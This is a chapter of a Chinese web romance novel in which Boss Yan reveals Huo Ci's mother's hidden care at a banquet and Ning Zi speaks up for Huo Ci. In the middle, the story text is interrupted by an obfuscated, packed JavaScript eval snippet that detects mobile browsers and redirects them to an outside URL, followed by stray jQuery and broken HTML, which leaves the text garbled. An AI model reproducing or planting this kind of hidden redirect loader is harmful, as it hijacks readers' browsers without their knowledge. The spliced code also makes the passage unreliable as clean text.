他臉上掛著慈和的笑容,“兩位年輕人晚上好。”
二人趕緊站端正,禮貌地打招呼,“燕老板,您剛到嗎?”
“有幾位老板對我店裡新到的一批畫感興趣,邀請我來參加酒會。”燕老板話鋒一轉,“最主要的原因是我聽說今晚請來了米其林主廚,有品嘗美食的機會,我當然不能錯過。”
寧姿覺得燕老板像極了老頑童,衝他笑了下,“我也很感興趣,不如一起去享用美食?”
“榮幸之至,看見你們兩個人,我就想到了一個詞語——金童玉女。”燕老板讚歎道。
寧姿害羞地埋下臉,霍辭倒是大大方方攬過她的肩,“不愧是燕老板,果然眼光是最好的。”
燕老板左右看了眼,眼底洋溢著欣慰,最後目光落在霍辭臉上,隱隱出神,像是透過他在看另一個人,感慨道:“你越來越成熟了,也越來越像你的父親。你們的眉毛一樣是濃鬱英氣的劍眉,雙眼大而深邃,輪廓分明,身型也是同樣的高大俊美。當初你的父親也是自己創業開創了一片天,如今你也走過同樣的路。我相信他在天有靈,看見自己兒子今日的成就,一定為你感到驕傲。”
寧姿的目光觸及霍辭,隻見他雖然不至於熱淚盈眶,雙眼卻也亮了起來,像是星星落入其間,便明白這對他而言是莫大的肯定,也為他感到喜悅。
燕老板拍了下霍辭的後背,換了個話題,“之前你托我替你拍下手鐲《綺麗之夢》,我不負你的囑托。”
“麻煩您了,下回我登門拜訪,一定帶來好酒。”
“這話我記牢了,但還有些話不得不說。我知道霍夫人的生日快到了,《綺麗之夢》是你為她準備的賀禮。我確實答應替你找來,卻沒說過幫你轉交。”見霍辭一怔,燕老板補充一句,“既然是精心準備的禮物,自然得由你親自送去。”
霍辭苦笑一下,“她見了我,大概率不會高興,何必令她生日當天生頓氣?”
燕老板歎了口氣,“你把你母親想得太過狠心。她的確有錯,卻並非對你毫無感情。半年前,你與寰天地產競爭一批環保材料,勝算不大,對方態度一直不冷不熱,後來峰回路轉,順利達成合作。這件事背後的真相是你母親親自去了那家建材公司,你父親生前與那家公司的老董事長有舊交,你母親借此遊說,替你疏通道路。”
霍辭麵上的神情看不出悲喜,眸中閃過錯愕。
“你母親固然有錯,錯在太過執著於對你父親無妄的愛,沉淪在丈夫離世的苦痛中難以自拔,把自己無法排解的負麵情緒宣泄在年幼無辜的你身上。這份難以承載的痛苦與霍氏麵臨的危機如同雙重大山壓在她一個女人身上,令她心力交瘁,因此下定決心把年幼的你交到遠在國外的外祖父母手上,從那以後,母子二人間橫亙了地理距離和心理上的隔閡,彼此誤會越來越深,造就了今日的局麵。”
停頓片刻,燕老板低聲說:“平心而論,霍夫人算不上是一位好母親,她固執己見、偏心自負,然而她內心深處依然充滿對你的關懷與期許,隻不過向來嘴硬,不肯顯露分毫。實際上,她總是從各方打聽你的近況,了解你的成就,發自內心為你感到驕傲與欣慰。”<
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126841|133685||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
p>霍辭努力消化這些話,緊緊閉著嘴巴,心中五味雜陳,一時竟無措起來。一雙溫暖柔軟的手貼住他的手,緊緊握住,他一抬眼就撞見寧姿心疼的目光。她熱淚盈眶,朝他露出安撫的微笑,那笑容仿佛在說,彆擔心,有我在。
寧姿轉頭麵對燕老板,誠摯道:“燕老板,先為我的無禮向您道一聲歉。首先,我發自內心敬重霍伯母,她對我關愛有加,我的內心也充滿感恩。但站在霍辭的角度,我無法認同她的做法。您剛才說的那番話,我全部都相信,卻依然無法諒解。因為最初受到冷待的霍辭隻是一個年幼的孩童,孩童的世界很簡單,單純又脆弱。”
霍辭站在她身邊,安靜地凝視著她,目光映射不平靜的內心,觸動輕易便能察覺。寧姿的目光緩緩移到他的臉上,變得愈發柔和,疼惜之意快要溢出似的,繼續輕言道:“生老病死是人生常態,任何人都避免不了,這些大家心知肚明,但我想不論是多麼理智的人都很難做到看透,坦然接受。失去至親的痛苦像是洶湧澎湃的浪潮,一浪高過一浪,冰冷刺骨,像是隨時要吞沒一切光明。這對於成年人都是難以承受之痛,更何況是對於一個孩童。年幼的霍辭失去了父親,他需要的是一個溫暖的懷抱、一個讓他安心依靠燈火通明的港灣,但這些全都落空了,因為他的母親對他表現出直白的憎惡。”
“家長的細枝末節會在孩子的眼中被放大,更何況是直白的態度,他隻會失去安全感、疑惑不解,在經曆努力尋找原因卻一無所獲之後,這份難以排解的痛便同淬了毒的種子一樣被種在心裡,生根發芽,久而久之甚至發展為自卑,放棄了對自己的愛。心中沒有依靠,獨自麵對複雜的世界,這樣孤寂地長大是一件多麼辛苦的事?”
寧姿有些哽咽,心頭被酸澀填滿,“但他還是好好長大了,近乎苛刻地要求自己,成長得非常好、極其耀眼。我不知道什麼時候才能算作真正成熟,但經曆得多了,自然明白更多事理,兒時求而不得的答案也終於變得清晰。連我們都能看清霍伯母對他那份隱晦彆扭的愛意,聰明如霍辭,又怎會毫無察覺?他向來外冷內熱,自然敬愛自己的母親。可歎那些沉澱在歲月長河中的疑問與悲切,早已沉澱為難以逾越的鴻溝。”
她深吸口氣,強自按捺顫抖的聲線,“我愛的人不是聖人,徹底的諒解與包容實在太過困難,我支持他以自己的方式表達內心的情感,不論今後他有任何決定,我都會陪伴在他身邊。如果他選擇跨越鴻溝、打破隔閡,那麼我替他感到高興,但那需要時間,如果他不願意,也無需感到自責。我無法狂妄地說一句感同身受,隻發自內心期盼他能活得輕鬆一些。”
寧姿微轉過臉,目光重又投向燕老板,“我們同是關心霍辭的人,更應該給予他信任與尊重。”
霍辭的右手慢慢挪過來,與左手一同包裹女孩細膩溫暖的小手,眼中盛滿閃爍的光點。燕老板看著兩人相握的手,靜默良久,輕歎了聲,再抬眼時向寧姿回以慈和的笑容,“本以為自己是旁觀者清,沒想到是過於自負。我的確沒有站在霍辭的角度去考慮這件事,忽略了他的心情。不過現在我很高興,被你這個小姑娘點醒了,像是被上了一課,這是非常寶貴的收獲。”
寧姿有些不好意思,“您不怪我話太多、沒禮數就好。”
燕老板笑著搖頭,“我說的可不是客套話,而是由衷感到欣慰與開心。看來如今霍辭已經找到了溫暖的港灣,不再孤寂或悲哀,有一片溫柔的月光真真切切照在他身上。”
“是呀,今晚的月色很美。”霍辭的眼睫輕眨,柔軟的嘴唇輕輕開合,低聲說出這一句。
宴會廳的落地窗外躺著一片靜謐的夜空,這座城市華燈初上,卻奪不走天幕中懸掛那輪明月的光輝。
然而他沒有看月亮,此時此刻,原本漆深的眼眸裡盛著更璀璨的光華,也清晰映出寧姿靈秀清麗的麵龐。